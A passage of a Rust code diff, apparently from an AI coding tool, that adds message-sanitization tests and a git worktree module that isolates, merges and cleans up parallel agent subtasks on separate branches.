// 吸收了占位头的 tool_calls),且该 assistant 同时含纯文本 content 与占位头 tool_call。
|
||||
let assistant_msgs: Vec<_> = healed
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.collect();
|
||||
assert_eq!(
|
||||
assistant_msgs.len(),
|
||||
1,
|
||||
"连续 assistant 应被合并为 1 条(占位头 tool_calls 并入前驱), 实际 {} 条: {:?}",
|
||||
assistant_msgs.len(),
|
||||
healed.iter().map(|m| format!("{:?}", m.role)).collect::<Vec<_>>()
|
||||
);
|
||||
// 合并后唯一 assistant 既保留原纯文本 content,又含占位头 tool_calls
|
||||
let merged = &assistant_msgs[0];
|
||||
assert_eq!(merged.content, "纯文本回复(无 tool_calls)", "合并后应保留前驱纯文本 content");
|
||||
let merged_call_ids: Vec<&str> = merged
|
||||
.tool_calls
|
||||
.as_ref()
|
||||
.map(|cs| cs.iter().map(|c| c.id.as_str()).collect())
|
||||
.unwrap_or_default();
|
||||
assert!(
|
||||
merged_call_ids.iter().any(|id| id.starts_with(TOOL_MISSING_PREFIX)
|
||||
&& id.contains("call_pending_cc")),
|
||||
"合并后前驱 assistant 应吸收占位头 tool_call, 实际 calls: {:?}",
|
||||
merged_call_ids
|
||||
);
|
||||
|
||||
// 占位头 id 应在(合并后的)assistant 头 tool_calls 内,result 与之配对
|
||||
let result_id = healed
|
||||
.iter()
|
||||
.find(|m| matches!(m.role, MessageRole::Tool))
|
||||
.and_then(|m| m.tool_call_id.clone())
|
||||
.expect("应有 tool_result");
|
||||
assert!(
|
||||
merged_call_ids.contains(&result_id.as_str()),
|
||||
"result id 应与合并后的占位头 id 一致(闭合配对), result={} heads={:?}",
|
||||
result_id,
|
||||
merged_call_ids
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn drop_reverse_orphans_preserves_pending_with_legacy_text() {
|
||||
// 边界:老占位(纯文本"需要用户审批..."无 __PENDING__ 标记)→ is_pending_placeholder 仍识别
|
||||
// (starts_with "需要用户审批") → 豁免保留。验证向前兼容迁移期老数据。
|
||||
let msgs = vec![
|
||||
ChatMessage::user("问题"),
|
||||
ChatMessage::tool_result("legacy_pending", "需要用户审批,等待确认"),
|
||||
];
|
||||
let sanitized = sanitize_messages(msgs);
|
||||
let kept = sanitized
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.count();
|
||||
assert_eq!(kept, 1, "老占位(纯文本无标记)也应豁免保留(向前兼容)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_mixed_multi_message_sequence() {
|
||||
// 场景 4:连续多条消息混合——
|
||||
// [user] [全闭合三元组] [中毒占位 id 三元组] [部分闭合头] [user]
|
||||
// 预期:全闭合原样保留、中毒占位整删、部分闭合头重写为只剩已闭合、user 不动
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("开场"));
|
||||
// 全闭合三元组
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调1",
|
||||
vec![ToolCall::new("ok_1", "fn", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("ok_1", "ok 结果"));
|
||||
// 中毒占位 id 三元组(全未闭合)→ 整删
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调2",
|
||||
vec![ToolCall::new("tool_missing_0", "fn", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("tool_missing_0", "占位结果"));
|
||||
// 部分闭合头:keep_1 闭合,drop_1 未闭合 → 重写为只剩 keep_1
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调3",
|
||||
vec![ToolCall::new("keep_1", "fn", "{}"), ToolCall::new("drop_1", "fn", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("keep_1", "keep 结果"));
|
||||
mgr.push(ChatMessage::user("收尾"));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
|
||||
// 任何保留头里的 id 都不得含占位前缀、不得含未闭合的 drop_1
|
||||
let head_ids: Vec<Vec<String>> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||
.map(|m| {
|
||||
m.tool_calls
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|c| c.id.clone())
|
||||
.collect()
|
||||
})
|
||||
.collect();
|
||||
assert!(
|
||||
head_ids.iter().all(|ids| {
|
||||
ids.iter().all(|id| !id.starts_with("tool_missing_") && id != "drop_1")
|
||||
}),
|
||||
"保留的 assistant 头中不应再有中毒 id 或未闭合 id, 实际 {:?}", head_ids
|
||||
);
|
||||
let tool_ids: Vec<String> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.filter_map(|m| m.tool_call_id.clone())
|
||||
.collect();
|
||||
// ok_1(全闭合保留)、keep_1(部分闭合重写后保留)应在;占位/drop_1 不在
|
||||
assert!(tool_ids.contains(&"ok_1".to_string()), "全闭合 ok_1 应保留");
|
||||
assert!(tool_ids.contains(&"keep_1".to_string()), "部分闭合 keep_1 应保留");
|
||||
assert!(
|
||||
tool_ids.iter().all(|id| !id.starts_with("tool_missing_") && id != "drop_1"),
|
||||
"无主 tool_result 应被剔除, 实际 {:?}", tool_ids
|
||||
);
|
||||
// 两条 user 消息原样保留
|
||||
let user_contents: Vec<&str> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::User))
|
||||
.map(|m| m.content.as_str())
|
||||
.collect();
|
||||
assert_eq!(user_contents, vec!["开场", "收尾"], "无关 user 消息不应被误删");
|
||||
assert_eq!(mgr.all_messages_clone().len(), 8, "sanitize 不应污染内存全量");
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
542
crates/df-ai/src/git_worktree.rs
Normal file
542
crates/df-ai/src/git_worktree.rs
Normal file
@@ -0,0 +1,542 @@
|
||||
//! Git worktree 生命周期管理 — 多 Agent 并行执行的文件隔离基础
|
||||
//!
|
||||
//! 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §4.2
|
||||
//!
|
||||
//! 每个 SubTask 创建独立 worktree(git worktree add + 新分支),
|
||||
//! 写操作天然隔离。合并时用 git merge-tree 预检 + git merge 实际合并。
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Command;
|
||||
|
||||
/// worktree 管理错误
|
||||
#[derive(Debug)]
|
||||
pub enum WorktreeError {
|
||||
/// Git 命令执行失败(stdout/stderr 含错误信息)
|
||||
GitFailed(String),
|
||||
/// 工程根目录无 .git(非 Git 工程,应降级串行)
|
||||
NotGitRepo,
|
||||
/// worktree 目录已存在(可能上次未清理)
|
||||
AlreadyExists(PathBuf),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for WorktreeError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
Self::GitFailed(msg) => write!(f, "Git 命令失败: {}", msg),
|
||||
Self::NotGitRepo => write!(f, "非 Git 工程(无 .git 目录)"),
|
||||
Self::AlreadyExists(p) => write!(f, "worktree 目录已存在: {}", p.display()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for WorktreeError {}
|
||||
|
||||
/// worktree 创建结果
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct WorktreeHandle {
|
||||
/// worktree 物理路径(SubTask 工具操作的 cwd)
|
||||
pub path: PathBuf,
|
||||
/// worktree 对应的分支名(merge 时用)
|
||||
pub branch: String,
|
||||
/// 所属 Plan id(清理时按 plan 批量)
|
||||
pub plan_id: String,
|
||||
/// SubTask id
|
||||
pub subtask_id: String,
|
||||
}
|
||||
|
||||
/// 在指定工程根目录下创建 SubTask 专属 worktree。
|
||||
///
|
||||
/// - `project_root`: 工程根目录(含 .git)
|
||||
/// - `plan_id`: 所属 Plan id
|
||||
/// - `subtask_id`: SubTask id
|
||||
/// - `base_branch`: fork 基点分支(plan 分支或主分支)
|
||||
///
|
||||
/// 返回 WorktreeHandle(path + branch)。
|
||||
/// worktree 路径:`{project_root}/.devflow/wt/{plan_id}/{subtask_id}`
|
||||
/// 分支名:`subtask/{plan_id}/{subtask_id}`
|
||||
pub fn create_worktree(
|
||||
project_root: &Path,
|
||||
plan_id: &str,
|
||||
subtask_id: &str,
|
||||
base_branch: &str,
|
||||
) -> Result<WorktreeHandle, WorktreeError> {
|
||||
if !project_root.join(".git").exists() {
|
||||
return Err(WorktreeError::NotGitRepo);
|
||||
}
|
||||
|
||||
let wt_path = project_root.join(".devflow/wt").join(plan_id).join(subtask_id);
|
||||
if wt_path.exists() {
|
||||
return Err(WorktreeError::AlreadyExists(wt_path));
|
||||
}
|
||||
|
||||
let branch = format!("subtask/{}/{}", plan_id, subtask_id);
|
||||
|
||||
// git worktree add <path> -b <branch> <base_branch>
|
||||
let output = Command::new("git")
|
||||
.args([
|
||||
"worktree",
|
||||
"add",
|
||||
wt_path.to_str().unwrap_or(""),
|
||||
"-b",
|
||||
&branch,
|
||||
base_branch,
|
||||
])
|
||||
.current_dir(project_root)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git worktree add 执行失败: {}", e)))?;
|
||||
|
||||
if !output.status.success() {
|
||||
let stderr = String::from_utf8_lossy(&output.stderr);
|
||||
return Err(WorktreeError::GitFailed(format!(
|
||||
"git worktree add 失败: {}",
|
||||
stderr.trim()
|
||||
)));
|
||||
}
|
||||
|
||||
Ok(WorktreeHandle {
|
||||
path: wt_path,
|
||||
branch,
|
||||
plan_id: plan_id.to_string(),
|
||||
subtask_id: subtask_id.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// 在 worktree 内提交所有改动(git add -A + git commit)。
|
||||
///
|
||||
/// - `wt_path`: worktree 物理路径
|
||||
/// - `message`: commit 消息
|
||||
pub fn commit_worktree(wt_path: &Path, message: &str) -> Result<(), WorktreeError> {
|
||||
// git add -A
|
||||
let add = Command::new("git")
|
||||
.args(["add", "-A"])
|
||||
.current_dir(wt_path)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git add 失败: {}", e)))?;
|
||||
if !add.status.success() {
|
||||
return Err(WorktreeError::GitFailed(format!(
|
||||
"git add 失败: {}",
|
||||
String::from_utf8_lossy(&add.stderr).trim()
|
||||
)));
|
||||
}
|
||||
|
||||
// git commit -m (允许空提交,--allow-empty 防无改动时报错)
|
||||
let commit = Command::new("git")
|
||||
.args(["commit", "--allow-empty", "-m", message])
|
||||
.current_dir(wt_path)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git commit 失败: {}", e)))?;
|
||||
if !commit.status.success() {
|
||||
// commit 失败可能因无 user.email 配置(测试环境),尝试自动配
|
||||
let stderr = String::from_utf8_lossy(&commit.stderr);
|
||||
if stderr.contains("user.email") || stderr.contains("user.name") {
|
||||
// 降级:设置 worktree 局部配置(--local 不污染全局 git config)后重试
|
||||
Command::new("git")
|
||||
.args(["config", "--local", "user.email", "devflow@ai.local"])
|
||||
.current_dir(wt_path)
|
||||
.output()
|
||||
.ok();
|
||||
Command::new("git")
|
||||
.args(["config", "--local", "user.name", "DevFlow Agent"])
|
||||
.current_dir(wt_path)
|
||||
.output()
|
||||
.ok();
|
||||
let retry = Command::new("git")
|
||||
.args(["commit", "--allow-empty", "-m", message])
|
||||
.current_dir(wt_path)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git commit 重试失败: {}", e)))?;
|
||||
if !retry.status.success() {
|
||||
return Err(WorktreeError::GitFailed(format!(
|
||||
"git commit 重试仍失败: {}",
|
||||
String::from_utf8_lossy(&retry.stderr).trim()
|
||||
)));
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
return Err(WorktreeError::GitFailed(format!("git commit 失败: {}", stderr.trim())));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// 将 SubTask 分支 merge 到 plan 分支(在 plan worktree 内执行)。
|
||||
///
|
||||
/// 返回 Ok(true) 表示有改动被合并,Ok(false) 表示无改动(空分支)。
|
||||
/// 返回 Err 表示 merge 冲突。
|
||||
pub fn merge_branch(
|
||||
plan_wt_path: &Path,
|
||||
subtask_branch: &str,
|
||||
) -> Result<MergeResult, WorktreeError> {
|
||||
// 用旧版兼容的 merge-tree(base branch → 输出冲突树)
|
||||
// --write-tree 需 Git 2.38+,改用三参数 merge-tree <base> <branch1> <branch2>
|
||||
// 成功(exit 0)= 无冲突可自动合并;非0且有输出 = 冲突
|
||||
let base = "HEAD";
|
||||
let precheck = Command::new("git")
|
||||
.args(["merge-tree", base, subtask_branch, base])
|
||||
.current_dir(plan_wt_path)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git merge-tree 失败: {}", e)))?;
|
||||
|
||||
// merge-tree 输出含 conflict marker(<<<<<<<)时表示有冲突
|
||||
let precheck_stdout = String::from_utf8_lossy(&precheck.stdout);
|
||||
if precheck_stdout.contains("<<<<<<<") || precheck_stdout.contains("=======") {
|
||||
return Ok(MergeResult::Conflict {
|
||||
branch: subtask_branch.to_string(),
|
||||
details: precheck_stdout.to_string(),
|
||||
});
|
||||
}
|
||||
|
||||
// 无冲突,执行实际 merge
|
||||
let merge = Command::new("git")
|
||||
.args(["merge", "--no-edit", subtask_branch])
|
||||
.current_dir(plan_wt_path)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git merge 失败: {}", e)))?;
|
||||
|
||||
if !merge.status.success() {
|
||||
// merge 冲突(git merge 返回非0)
|
||||
let stderr = String::from_utf8_lossy(&merge.stderr);
|
||||
let stdout = String::from_utf8_lossy(&merge.stdout);
|
||||
// abort 部分合并状态(防 worktree 处于 conflicted 状态)
|
||||
let _ = Command::new("git")
|
||||
.args(["merge", "--abort"])
|
||||
.current_dir(plan_wt_path)
|
||||
.output();
|
||||
return Ok(MergeResult::Conflict {
|
||||
branch: subtask_branch.to_string(),
|
||||
details: format!("{}\n{}", stdout, stderr),
|
||||
});
|
||||
}
|
||||
|
||||
Ok(MergeResult::Clean)
|
||||
}
|
||||
|
||||
/// merge 结果
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum MergeResult {
|
||||
/// 干净合并(无冲突)
|
||||
Clean,
|
||||
/// 合并冲突(details 含 conflict 信息)
|
||||
Conflict { branch: String, details: String },
|
||||
}
|
||||
|
||||
/// 清理单个 SubTask 的 worktree(git worktree remove --force + 删分支)。
|
||||
pub fn remove_worktree(project_root: &Path, handle: &WorktreeHandle) -> Result<(), WorktreeError> {
|
||||
// git worktree remove --force <path>
|
||||
let _ = Command::new("git")
|
||||
.args([
|
||||
"worktree",
|
||||
"remove",
|
||||
"--force",
|
||||
handle.path.to_str().unwrap_or(""),
|
||||
])
|
||||
.current_dir(project_root)
|
||||
.output();
|
||||
|
||||
// 删除分支(-D 强制,已 merge 的分支正常删,未 merge 的也删)
|
||||
let _ = Command::new("git")
|
||||
.args(["branch", "-D", &handle.branch])
|
||||
.current_dir(project_root)
|
||||
.output();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// 清理某 Plan 的所有 worktree(Plan 完成/失败/取消时批量清理)。
|
||||
pub fn remove_plan_worktrees(project_root: &Path, plan_id: &str) -> Result<(), WorktreeError> {
|
||||
let plan_wt_dir = project_root.join(".devflow/wt").join(plan_id);
|
||||
if !plan_wt_dir.exists() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// git worktree list 获取该 plan 下所有 worktree
|
||||
let list = Command::new("git")
|
||||
.args(["worktree", "list", "--porcelain"])
|
||||
.current_dir(project_root)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git worktree list 失败: {}", e)))?;
|
||||
|
||||
let list_str = String::from_utf8_lossy(&list.stdout);
|
||||
for line in list_str.lines() {
|
||||
if let Some(path_str) = line.strip_prefix("worktree ") {
|
||||
let path = PathBuf::from(path_str);
|
||||
// 仅清理属于本 plan 的 worktree
|
||||
if path.starts_with(&plan_wt_dir) {
|
||||
let _ = Command::new("git")
|
||||
.args(["worktree", "remove", "--force", path_str])
|
||||
.current_dir(project_root)
|
||||
.output();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 删除该 plan 的所有子任务分支
|
||||
let branches = Command::new("git")
|
||||
.args(["branch", "--list", &format!("subtask/{}/*", plan_id)])
|
||||
.current_dir(project_root)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git branch --list 失败: {}", e)))?;
|
||||
|
||||
let branches_str = String::from_utf8_lossy(&branches.stdout);
|
||||
for line in branches_str.lines() {
|
||||
let branch = line.trim();
|
||||
if !branch.is_empty() {
|
||||
let _ = Command::new("git")
|
||||
.args(["branch", "-D", branch])
|
||||
.current_dir(project_root)
|
||||
.output();
|
||||
}
|
||||
}
|
||||
|
||||
// 清理空目录
|
||||
let _ = std::fs::remove_dir_all(&plan_wt_dir);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// 检测工程是否为 Git 仓库(有 .git 目录)。
|
||||
pub fn is_git_repo(project_root: &Path) -> bool {
|
||||
project_root.join(".git").exists()
|
||||
}
|
||||
|
||||
/// 获取工程当前分支名(用于作为 plan worktree 的 fork 基点)。
|
||||
pub fn current_branch(project_root: &Path) -> Result<String, WorktreeError> {
|
||||
let output = Command::new("git")
|
||||
.args(["rev-parse", "--abbrev-ref", "HEAD"])
|
||||
.current_dir(project_root)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git rev-parse 失败: {}", e)))?;
|
||||
|
||||
if !output.status.success() {
|
||||
return Err(WorktreeError::GitFailed(
|
||||
String::from_utf8_lossy(&output.stderr).trim().to_string(),
|
||||
));
|
||||
}
|
||||
|
||||
Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
|
||||
}
|
||||
|
||||
/// 创建 Plan worktree(Plan 级工作分支,所有 SubTask 分支 merge 到这里)。
|
||||
///
|
||||
/// 返回 (plan_worktree_path, plan_branch)。
|
||||
pub fn create_plan_worktree(
|
||||
project_root: &Path,
|
||||
plan_id: &str,
|
||||
) -> Result<(PathBuf, String), WorktreeError> {
|
||||
if !is_git_repo(project_root) {
|
||||
return Err(WorktreeError::NotGitRepo);
|
||||
}
|
||||
|
||||
let base = current_branch(project_root)?;
|
||||
let plan_branch = format!("plan/{}", plan_id);
|
||||
let plan_wt_path = project_root.join(".devflow/wt").join(plan_id);
|
||||
|
||||
if plan_wt_path.exists() {
|
||||
return Err(WorktreeError::AlreadyExists(plan_wt_path));
|
||||
}
|
||||
|
||||
let output = Command::new("git")
|
||||
.args([
|
||||
"worktree",
|
||||
"add",
|
||||
plan_wt_path.to_str().unwrap_or(""),
|
||||
"-b",
|
||||
&plan_branch,
|
||||
&base,
|
||||
])
|
||||
.current_dir(project_root)
|
||||
.output()
|
||||
.map_err(|e| WorktreeError::GitFailed(format!("git worktree add(plan) 失败: {}", e)))?;
|
||||
|
||||
if !output.status.success() {
|
||||
return Err(WorktreeError::GitFailed(format!(
|
||||
"git worktree add(plan) 失败: {}",
|
||||
String::from_utf8_lossy(&output.stderr).trim()
|
||||
)));
|
||||
}
|
||||
|
||||
Ok((plan_wt_path, plan_branch))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// 创建临时 Git 仓库 + 初始 commit
|
||||
fn setup_repo() -> tempfile::TempDir {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = dir.path();
|
||||
|
||||
Command::new("git").args(["init"]).current_dir(path).output().unwrap();
|
||||
Command::new("git").args(["config", "user.email", "test@test.com"]).current_dir(path).output().unwrap();
|
||||
Command::new("git").args(["config", "user.name", "test"]).current_dir(path).output().unwrap();
|
||||
|
||||
std::fs::write(path.join("main.rs"), "fn main() {}\n").unwrap();
|
||||
Command::new("git").args(["add", "."]).current_dir(path).output().unwrap();
|
||||
Command::new("git").args(["commit", "-m", "init"]).current_dir(path).output().unwrap();
|
||||
|
||||
dir
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_01_create_and_isolate() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
let base = current_branch(root).unwrap();
|
||||
|
||||
let handle = create_worktree(root, "plan-test", "A", &base).unwrap();
|
||||
assert!(handle.path.exists(), "worktree 目录应存在");
|
||||
assert_eq!(handle.branch, "subtask/plan-test/A");
|
||||
|
||||
// 在 worktree 内写文件
|
||||
std::fs::write(handle.path.join("new_a.rs"), "// A 的改动").unwrap();
|
||||
// 主目录不应有此文件
|
||||
assert!(!root.join("new_a.rs").exists(), "主目录不应有 A 的改动");
|
||||
|
||||
// 清理
|
||||
remove_worktree(root, &handle).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_02_parallel_isolation() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
|
||||
let plan_wt = create_plan_worktree(root, "plan-iso").unwrap();
|
||||
let plan_branch = plan_wt.1;
|
||||
|
||||
let a = create_worktree(root, "plan-iso", "A", &plan_branch).unwrap();
|
||||
let b = create_worktree(root, "plan-iso", "B", &plan_branch).unwrap();
|
||||
|
||||
// A 写 new_a.rs
|
||||
std::fs::write(a.path.join("new_a.rs"), "// A").unwrap();
|
||||
// B 写 new_b.rs
|
||||
std::fs::write(b.path.join("new_b.rs"), "// B").unwrap();
|
||||
|
||||
// A 的 worktree 不应有 B 的文件
|
||||
assert!(!a.path.join("new_b.rs").exists(), "A 不应看到 B 的改动");
|
||||
// B 的 worktree 不应有 A 的文件
|
||||
assert!(!b.path.join("new_a.rs").exists(), "B 不应看到 A 的改动");
|
||||
|
||||
remove_plan_worktrees(root, "plan-iso").unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_03_commit_in_worktree() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
|
||||
let plan_wt = create_plan_worktree(root, "plan-commit").unwrap();
|
||||
let a = create_worktree(root, "plan-commit", "A", &plan_wt.1).unwrap();
|
||||
|
||||
// 写文件 + commit
|
||||
std::fs::write(a.path.join("feature.rs"), "pub fn feature() {}").unwrap();
|
||||
commit_worktree(&a.path, "Add feature").unwrap();
|
||||
|
||||
// 验证分支有新 commit
|
||||
let log = Command::new("git")
|
||||
.args(["log", "--oneline", "-1"])
|
||||
.current_dir(&a.path)
|
||||
.output()
|
||||
.unwrap();
|
||||
let log_str = String::from_utf8_lossy(&log.stdout);
|
||||
assert!(log_str.contains("Add feature"), "commit 消息应在 log 中");
|
||||
|
||||
remove_plan_worktrees(root, "plan-commit").unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_04_merge_no_conflict() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
|
||||
let plan_wt = create_plan_worktree(root, "plan-merge").unwrap();
|
||||
let plan_wt_path = plan_wt.0.clone();
|
||||
let plan_branch = plan_wt.1;
|
||||
|
||||
// A 改 file_a.rs, B 改 file_b.rs(不同文件,无冲突)
|
||||
let a = create_worktree(root, "plan-merge", "A", &plan_branch).unwrap();
|
||||
std::fs::write(a.path.join("file_a.rs"), "// A").unwrap();
|
||||
commit_worktree(&a.path, "A changes").unwrap();
|
||||
|
||||
let b = create_worktree(root, "plan-merge", "B", &plan_branch).unwrap();
|
||||
std::fs::write(b.path.join("file_b.rs"), "// B").unwrap();
|
||||
commit_worktree(&b.path, "B changes").unwrap();
|
||||
|
||||
// merge A → plan
|
||||
let result_a = merge_branch(&plan_wt_path, &a.branch).unwrap();
|
||||
assert!(matches!(result_a, MergeResult::Clean), "A merge 应无冲突");
|
||||
|
||||
// merge B → plan
|
||||
let result_b = merge_branch(&plan_wt_path, &b.branch).unwrap();
|
||||
assert!(matches!(result_b, MergeResult::Clean), "B merge 应无冲突");
|
||||
|
||||
// plan worktree 应同时有 file_a.rs 和 file_b.rs
|
||||
assert!(plan_wt_path.join("file_a.rs").exists(), "plan 应含 A 的改动");
|
||||
assert!(plan_wt_path.join("file_b.rs").exists(), "plan 应含 B 的改动");
|
||||
|
||||
remove_plan_worktrees(root, "plan-merge").unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_05_merge_conflict_same_file() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
|
||||
// 写一个共享文件
|
||||
std::fs::write(root.join("shared.rs"), "line1\nline2\n").unwrap();
|
||||
Command::new("git").args(["add", "-A"]).current_dir(root).output().unwrap();
|
||||
Command::new("git").args(["commit", "-m", "add shared"]).current_dir(root).output().unwrap();
|
||||
|
||||
let plan_wt = create_plan_worktree(root, "plan-conf").unwrap();
|
||||
let plan_wt_path = plan_wt.0.clone();
|
||||
let plan_branch = plan_wt.1;
|
||||
|
||||
// A 和 B 改同一文件的同一行
|
||||
let a = create_worktree(root, "plan-conf", "A", &plan_branch).unwrap();
|
||||
std::fs::write(a.path.join("shared.rs"), "A_version\n").unwrap();
|
||||
commit_worktree(&a.path, "A change shared").unwrap();
|
||||
|
||||
let b = create_worktree(root, "plan-conf", "B", &plan_branch).unwrap();
|
||||
std::fs::write(b.path.join("shared.rs"), "B_version\n").unwrap();
|
||||
commit_worktree(&b.path, "B change shared").unwrap();
|
||||
|
||||
// merge A → 无冲突
|
||||
let result_a = merge_branch(&plan_wt_path, &a.branch).unwrap();
|
||||
assert!(matches!(result_a, MergeResult::Clean), "首个 merge 应无冲突");
|
||||
|
||||
// merge B → 冲突
|
||||
let result_b = merge_branch(&plan_wt_path, &b.branch).unwrap();
|
||||
assert!(
|
||||
matches!(result_b, MergeResult::Conflict { .. }),
|
||||
"同文件同行改应产生冲突"
|
||||
);
|
||||
|
||||
remove_plan_worktrees(root, "plan-conf").unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_06_non_git_returns_error() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
// 不 init git
|
||||
let result = create_plan_worktree(dir.path(), "plan-ng");
|
||||
assert!(matches!(result, Err(WorktreeError::NotGitRepo)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wt_07_cleanup_removes_worktree() {
|
||||
let repo = setup_repo();
|
||||
let root = repo.path();
|
||||
|
||||
let plan_wt = create_plan_worktree(root, "plan-clean").unwrap();
|
||||
let a = create_worktree(root, "plan-clean", "A", &plan_wt.1).unwrap();
|
||||
assert!(a.path.exists());
|
||||
|
||||
remove_plan_worktrees(root, "plan-clean").unwrap();
|
||||
|
||||
// worktree 目录应被清理
|
||||
assert!(!a.path.exists(), "worktree 目录应已清理");
|
||||
// plan wt 目录也应被清理
|
||||
assert!(!plan_wt.0.exists(), "plan worktree 目录应已清理");
|
||||
}
|
||||
}
|
||||
@@ -944,7 +944,7 @@ mod tests {
|
||||
/// 构造测试用 ToolDefinition(仅 name 有意义,description/parameters 填占位)。
|
||||
fn tool_def(name: &str) -> df_ai_core::types::ToolDefinition {
|
||||
df_ai_core::types::ToolDefinition {
|
||||
tool_type: "function".to_string(),
|
||||
tool_type: "function".into(),
|
||||
function: df_ai_core::types::ToolFunction {
|
||||
name: name.to_string(),
|
||||
description: String::new(),
|
||||
|
||||
@@ -5,10 +5,12 @@ pub mod anthropic_compat;
|
||||
pub mod anthropic_helpers;
|
||||
pub mod context;
|
||||
pub mod context_helpers;
|
||||
// 多 Agent 协作调度中心(Phase 1 规则驱动, Phase 2 LLM 扩展)。
|
||||
pub mod coordinator;
|
||||
// 会话意图识别层(纯函数,不接入 agentic loop)。依据 docs/02-架构设计/构想审查/
|
||||
// 意图识别层论证-2026-06-19.md。提供 recognize / tool_subset_for / suggested_model_tier。
|
||||
// 待 Phase B+C 完成 + 模型模态管理落地后再接入 agentic loop。
|
||||
pub mod git_worktree;
|
||||
pub mod intent;
|
||||
pub mod model_fetch;
|
||||
// model_fetch 的纯逻辑子模块(URL 拼接 / 噪音过滤 / 响应反序列化),
|
||||
@@ -28,12 +30,18 @@ pub mod openai_helpers;
|
||||
// 纯函数模块(零 IO 零状态)。依据 docs/02-架构设计/单对话并行多轮-{设计,Phase0落地路线图}-2026-06-20.md。
|
||||
// Phase 1(plan_hint 接入主 loop)/Phase 2(planning)/Phase 3(并行 execution) 接入后续。
|
||||
pub mod planner;
|
||||
// Phase 2: Plan DAG 分层执行器(骨架,PLAN_EXECUTION_ENABLED 门控默认关)。
|
||||
// 按 Plan::to_layers 层间串行/层内并行调度子任务。
|
||||
// 依据 docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md。
|
||||
pub mod persona;
|
||||
pub mod plan_executor;
|
||||
pub mod provider;
|
||||
pub mod router;
|
||||
// CR-30-1: 流前重试退避对外复用。complete() 的 retry_with_backoff 仍 crate 内用,
|
||||
// stream_recv/agentic 流前重试需复用 backoff_delay(jitter)+is_status_retryable(Fatal 分类)
|
||||
// 避免重写退避/分类逻辑(对齐决策 F-260616-07 a1)。改 pub mod 后对外仅暴露纯函数 + 常量。
|
||||
pub mod retry;
|
||||
pub mod sse_parser;
|
||||
|
||||
use provider::LlmProvider;
|
||||
use reqwest::Client;
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
use std::time::Duration;
|
||||
|
||||
use async_trait::async_trait;
|
||||
use eventsource_stream::Eventsource;
|
||||
use futures::StreamExt;
|
||||
use reqwest::Client;
|
||||
use tracing::{debug, error, warn};
|
||||
@@ -183,6 +182,31 @@ impl OpenAICompatProvider {
|
||||
// assistant 的序列(会话恢复/续发/片段截取),补 user 占位保留上下文,首条合法。
|
||||
Self::ensure_leading_user(&mut messages);
|
||||
|
||||
